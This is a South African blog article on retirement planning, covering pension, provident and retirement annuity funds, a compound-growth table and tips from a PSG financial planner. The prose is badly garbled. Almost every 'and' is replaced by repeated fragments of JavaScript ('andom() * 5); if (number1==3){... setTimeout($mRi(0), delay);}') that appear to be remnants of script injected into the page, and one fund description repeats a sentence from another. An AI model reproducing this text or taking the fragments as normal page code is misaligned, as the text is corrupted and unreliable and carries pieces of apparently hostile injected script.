The Importance of Retirement Planning

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In this day andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and age there’s a long list of expenses competing for your paycheque as soon as it hits your bank account.

This has led to the modern “Ostrich Generation” of pre-retirees, as dubbed by the Wall Street Journal, as many investors tend to hide their heads in the sandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and instead of addressing their retirement planning needs.

The stats don’t lie: 

  • 48% of South Africans are worried they won’t have enough money for old age/retirement.
  • 83% don’t have any formal retirement products in place.
  • 25% of adults claim to have enough money to save after covering their spending needs.
  • Half of workers who are at least 45-years-old haven’t even tried to calculate how much they’ll need to save to live comfortably at retirement.

 

By procrastinating andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and waiting for the day when you have “enough” to start saving towards your retirement, you definitely won’t be doing yourself any favours.

By that point you have to make up for time andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and compound interest lost which places unnecessary financial strain upon you andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and minimises the possibility of you actually meeting your retirement planning needs.

Postponing your retirement planning ultimately reduces your investment timeframe andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and dramatically increases the required contributions to meet your retirement goals.

In our society of instant gratification this is unfortunately the norm, but it’s a bad habit that we have to start moving away from so as to avoid financial hardship at later points in our lives.

The most common & beneficial retirement savings vehicles in South Africa:

Pension fund

Retirement fund that can be set up for groups of employees with which at retirement age members can access up to ⅓ their full fund value in cash, whilst the remaining ⅔ has to be transferred to a form of annuity. This is a product used for groups of employees andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and can therefore only be offered by employers. Pension funds cannot be taken out in a personal capacity. 

Provident fund

Retirement fund that can be set up for groups of employees with which at retirement age members can access the full fund value in cash for whichever purpose they so choose. This is a product used for groups of employees andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and can therefore only be offered by employers. Pension funds cannot be taken out in a personal capacity.

Retirement annuity

Retirement fund that can be set up for groups of employees or taken out in a personal capacity with which at retirement age members can access up to ⅓ of their full fund value in cash, whilst the remaining ⅔ has to be transferred to a form of annuity.

Research has shown that financial planning is the critical factor separating those who are on track to meet their financial goals andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and those who are falling behind.

The examples below further prove the type of damage that procrastinating can lead to:

Name Client X Client Y Client Z
Age started 25 35 45
Assumed retirement age 65 65 65
Monthly contributions R1,000 R1,000 R1,000
Assumed inflation rate 6% 6% 6%
Assumed return on investment 10% 10% 10%
Assumed annual increase in contributions 10% 10% 10%
Future value R20,803,683 R6,015,540 R1,546,167
Present value* R2,022,580 R1,047,366 R482,102

 

* Present value refers to the total value in today’s terms after taking inflation into account.

moneysmart tips for retirement planning:  

  • Make retirement planning a priority from the day you start your career.
  • Limit your debt andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and live within your means.
  • Consult with a financial planner at least annually to determine whether you are on the right track in terms of your retirement planning.

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For those of you interested in saving towards your retirement, speak to your financial planner or
email Raul Jorge for further assistance andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and financial planning advice.

References:

Green, K. (2011). Don’t Join the Ostrich Generation. Available: http://online.wsj.com/article/SB10001424053111904491704576571223765726228.html. Last accessed 5th March 2013. 
Krige, N. (2012). Half of South Africa worried about retirement – FinScope Survey. Available: http://www.risksa.com/life/half-of-south-africa-worried-about-retirement-%E2%80%93-finscope-survey. Last accessed 5th March 2013.
Princeton Survey Research Associates International. (2012). 2012 Household Financial Planning Survey. Available: http://www.consumerfed.org/pdfs/Studies.CFA-CFPBoardReport7.23.12.pdf. Last accessed 5th March 2013.
STANLIB. (2012). Why you need to think seriously about retirement. Available: http://www.stanlib.com/Insights/012012/think_seriously_retirement.htm. Last accessed 5th March 2013.

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About Author

Raul Jorge is a CFP® professional at PSG. He specialises in estate, investment, retirement and risk planning. Prior to joining PSG, Raul completed his BSc (Honours) in Business Administration through the University of Wales and more recently completed his Postgraduate Diploma in Financial Planning through the University of Stellenbosch.